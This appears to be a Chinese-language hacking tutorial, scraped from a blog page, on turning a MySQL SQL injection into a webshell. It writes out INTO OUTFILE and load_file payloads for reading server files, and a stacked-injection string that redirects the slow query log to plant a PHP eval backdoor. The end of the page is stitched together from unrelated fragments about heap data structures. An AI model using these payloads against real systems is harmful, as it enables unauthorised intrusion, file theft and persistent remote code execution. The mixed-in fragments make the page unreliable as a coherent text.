如果乙個平台有注入點的時候可以通過寫一句話拿shell
條件1.myql 5.6.34 版本區分
2.有寫的許可權
3.知道絕對路徑
mysql 中 在在mysql 5.6.34版本以後 secure_file_priv的值預設為null ,而 secure_file_priv為null 那麼我們就不能匯出檔案,以下都建立在
secure_file_priv 的預設值被修改為無才能利用,且這個只能手工修改配置檔案不能用sql語句,也就是想直接匯出需要管理員不知道幹了什麼幫你修改好這個許可權才行。
windows系統在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同時讀寫許可權問題就不用說了。
mysql 低於5.6.34
時候可以直接
寫檔案我們一般用到 `dumpfile`與`outfile` 她們其實是有區別
`outfile` 會在行末寫入新行,而且會轉義換行符
`dumpfile` 能匯出乙個完整的檔案,不會有任何轉義 所以我們udf提取一般用的dumpfile
例如 select 1,'123456' into outfile 'c:\\users\\yzj\\desktop\\wy1.php'
可以寫到專案檔案下進行解析
也可以 利用內聯注釋進行 讀取專案檔案例如配置檔案
id=1 union select 1,2,hex(load_file(0x463a5c5c312e747874)) 通過hex 加密是因為 有時候內聯的資料型別不匹配報錯這個時候就要用的hex() 或者password()
如果 load_file() 方法被禁止了 還可以用
load data infile '位址' into table user;
寫到某個表中 去檢視資訊
mysql 高於5.6.34
可以修改配置檔案
secure_file_priv不為null 但需要改配置檔案
windows下:
修改mysql.ini 檔案,在[mysqld] 下新增條目: secure_file_priv =
儲存,重啟mysql。
linux下:
在/etc/my.cnf的[mysqld]下面新增local-infile=0選項。
當然大部分情況是沒有許可權的我們利用 堆注入 去更改慢日誌儲存路徑來寫shell
堆注入原生的php方法是不支援的 得使用使用 pdo,mysqli_multi_query() 也就是說條件很苛刻
set global slow_query_log=1;
set global slow_query_log_file='d:' -- 位址
select '<?php eval($_post['404']) ?>' or sleep(15);
例子id=1%23;set global slow_query_log=1;set global slow_query_log_file='d:' ;select '<?php eval($_post['404']) ?>' or sleep(15);
執行完後去跟路徑下去訪問404.php
演算法 之 堆 建立堆
給出乙個有n個元素的陣列a 1.n 要建立乙個包含這些元素的堆,可以這樣進行 從空的堆開始,不斷插入每乙個元素,直到a完全被轉移到堆中為止。因為插入第j個鍵值用時o log j 因此用這種方法建立堆疊的時間複雜性是o n log n 我們知道對應於堆h 1.n 的樹的節點可以方便地以自頂向下 從左到...
堆python 建立堆 python
建立最大 小 堆 二叉堆本質上是一種完全二叉樹,儲存方式並不是鏈式儲存,而是順序儲存 堆操作 插入 葉子節點上調 刪除 堆頂元素下沉 堆建立 非葉子節點下沉 從最後乙個非葉子節點開始 最小堆 最小堆任何乙個父節點的值,都小於等於它左右孩子節點的值 建立過程 如果非葉子節點值大於其子節點,將其下沉 最...
堆 大根堆和小根堆的建立
堆是一種經過排序的完全二叉樹,其中任一非終端節點的資料值均不大於 或不小於 其左孩子和右孩子節點的值。1 根結點 亦稱為堆頂 的關鍵字是堆裡所有結點關鍵字中最小者的堆稱為小根堆。1 根結點 亦稱為堆頂 的關鍵字是堆裡所有結點關鍵字中最大者,稱為大根堆。用堆的關鍵部分是兩個操作 1 put操作 即往堆...